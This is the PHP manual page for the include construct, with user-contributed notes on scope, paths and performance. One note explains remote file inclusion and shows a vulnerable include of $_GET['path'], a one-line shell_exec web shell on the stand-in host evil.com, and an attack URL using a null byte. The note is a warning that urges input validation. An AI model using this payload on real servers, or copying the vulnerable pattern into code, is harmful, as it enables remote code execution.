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include

(PHP 4, PHP 5, PHP 7, PHP 8)

The include expression includes and evaluates the specified file.

The documentation below also applies to require.

Files are included based on the file path given or, if none is given, the include_path specified. If the file isn't found in the include_path, include will finally check in the calling script's own directory and the current working directory before failing. The include construct will emit an E_WARNING if it cannot find a file; this is different behavior from require, which will emit an E_ERROR.

Note that both include and require raise additional E_WARNINGs, if the file cannot be accessed, before raising the final E_WARNING or E_ERROR, respectively.

If a path is defined — whether absolute (starting with a drive letter or \ on Windows, or / on Unix/Linux systems) or relative to the current directory (starting with . or ..) — the include_path will be ignored altogether. For example, if a filename begins with ../, the parser will look in the parent directory to find the requested file.

For more information on how PHP handles including files and the include path, see the documentation for include_path.

When a file is included, the code it contains inherits the variable scope of the line on which the include occurs. Any variables available at that line in the calling file will be available within the called file, from that point forward. However, all functions and classes defined in the included file have the global scope.

Example #1 Basic include example

vars.php
<?php

$color
= 'green';
$fruit = 'apple';

?>

test.php
<?php

echo "A $color $fruit"; // A

include 'vars.php';

echo
"A $color $fruit"; // A green apple

?>

If the include occurs inside a function within the calling file, then all of the code contained in the called file will behave as though it had been defined inside that function. So, it will follow the variable scope of that function. An exception to this rule are magic constants which are evaluated by the parser before the include occurs.

Example #2 Including within functions

<?php

function foo()
{
global
$color;

include
'vars.php';

echo
"A $color $fruit";
}

/* vars.php is in the scope of foo() so *
* $fruit is NOT available outside of this *
* scope. $color is because we declared it *
* as global. */

foo(); // A green apple
echo "A $color $fruit"; // A green

?>

When a file is included, parsing drops out of PHP mode and into HTML mode at the beginning of the target file, and resumes again at the end. For this reason, any code inside the target file which should be executed as PHP code must be enclosed within valid PHP start and end tags.

If "URL include wrappers" are enabled in PHP, you can specify the file to be included using a URL (via HTTP or other supported wrapper - see Supported Protocols and Wrappers for a list of protocols) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using a URL request string as used with HTTP GET. This is not strictly speaking the same thing as including the file and having it inherit the parent file's variable scope; the script is actually being run on the remote server and the result is then being included into the local script.

Example #3 include through HTTP

<?php

/* This example assumes that www.example.com is configured to parse .php
* files and not .txt files. Also, 'Works' here means that the variables
* $foo and $bar are available within the included file. */

// Won't work; file.txt wasn't handled by www.example.com as PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Won't work; looks for a file named 'file.php?foo=1&bar=2' on the
// local filesystem.
include 'file.php?foo=1&bar=2';

// Works.
include 'http://www.example.com/file.php?foo=1&bar=2';
?>

Warning

Security warning

Remote file may be processed at the remote server (depending on the file extension and the fact if the remote server runs PHP or not) but it still has to produce a valid PHP script because it will be processed at the local server. If the file from the remote server should be processed there and outputted only, readfile() is much better function to use. Otherwise, special care should be taken to secure the remote script to produce a valid and desired code.

See also Remote files, fopen() and file() for related information.

Handling Returns: include returns FALSE on failure and raises a warning. Successful includes, unless overridden by the included file, return 1. It is possible to execute a return statement inside an included file in order to terminate processing in that file and return to the script which called it. Also, it's possible to return values from included files. You can take the value of the include call as you would for a normal function. This is not, however, possible when including remote files unless the output of the remote file has valid PHP start and end tags (as with any local file). You can declare the needed variables within those tags and they will be introduced at whichever point the file was included.

Because include is a special language construct, parentheses are not needed around its argument. Take care when comparing return value.

Example #4 Comparing return value of include

<?php
// won't work, evaluated as include(('vars.php') == TRUE), i.e. include('1')
if (include('vars.php') == TRUE) {
echo
'OK';
}

// works
if ((include 'vars.php') == TRUE) {
echo
'OK';
}
?>

Example #5 include and the return statement

return.php
<?php

$var
= 'PHP';

return
$var;

?>

noreturn.php
<?php

$var
= 'PHP';

?>

testreturns.php
<?php

$foo
= include 'return.php';

echo
$foo; // prints 'PHP'

$bar = include 'noreturn.php';

echo
$bar; // prints 1

?>

$bar is the value 1 because the include was successful. Notice the difference between the above examples. The first uses return within the included file while the other does not. If the file can't be included, false is returned and E_WARNING is issued.

If there are functions defined in the included file, they can be used in the main file independent if they are before return or after. If the file is included twice, PHP will raise a fatal error because the functions were already declared. It is recommended to use include_once instead of checking if the file was already included and conditionally return inside the included file.

Another way to "include" a PHP file into a variable is to capture the output by using the Output Control Functions with include. For example:

Example #6 Using output buffering to include a PHP file into a string

<?php
$string
= get_include_contents('somefile.php');

function
get_include_contents($filename) {
if (
is_file($filename)) {
ob_start();
include
$filename;
return
ob_get_clean();
}
return
false;
}

?>

In order to automatically include files within scripts, see also the auto_prepend_file and auto_append_file configuration options in php.ini.

Note: Because this is a language construct and not a function, it cannot be called using variable functions, or named arguments.

See also require, require_once, include_once, get_included_files(), readfile(), virtual(), and include_path.

add a note

User Contributed Notes 13 notes

up
149
snowyurik at gmail dot com
15 years ago
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
up
54
Rash
9 years ago
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

<?php

# index.php
define('what', 'ever');
include
'includeFile.php';

# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php

# index.php (in document root (/usr/share/nginx/html))

include __DIR__ . '/../src/includeFile.php';

?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.
up
34
John Carty
7 years ago
Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:

<?php
// Bad Code
$path = $_GET['path'];
include
$path . 'example-config-file.php';
?>

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt
<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.
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30
Anon
12 years ago
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
up
14
error17191 at gmail dot com
8 years ago
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?php

echo 'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'Changing current working directory to dir2';
chdir('../dir2');
echo
'<br />';
echo
'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'including "dir2_test" ...';
echo
'<br />';
include
'dir2_test';
echo
'<br />';
echo
'including "dir1_test" ...';
echo
'<br />';
include
'dir1_test';
echo
'<br />';
echo
'including "./dir1_test" ...';
echo
'<br />';
(@include
'./dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file
up
5
jbezorg at gmail dot com
5 years ago
Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
up
10
Wade.
15 years ago
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.
up
4
Chris Bell
14 years ago
A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
up
3
Ray.Paseur often uses Gmail
9 years ago
It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once(
$cfg_path);
up
7
Rick Garcia
15 years ago
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
up
4
hyponiq at gmail dot com
14 years ago
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot
= null;

if (isset(
$_SERVER['DOCUMENT_ROOT'])) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'];

if (
strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
if (
strstr($documentRoot, '/')) {
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
}
elseif (
strstr($documentRoot, '\\')) {
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
}
}

if (
preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
}
}
else {
/**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
* <code>
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
* </code>
*/
$directories = array(
'Includes'
);

if (
defined('__DIR__')) {
$currentDirectory = __DIR__;
}
else {
$currentDirectory = dirname(__FILE__);
}

$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;

foreach (
$directories as $directory) {
$currentDirectory = str_replace(
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$currentDirectory
);
}

$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
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1
ayon at hyurl dot com
7 years ago
It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo
file_get_contents("something.zip#script.php");
?>
Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.
up
0
anonphpuser
1 year ago
In the Example #2 Including within functions, the last two comments should be reversed I believe.
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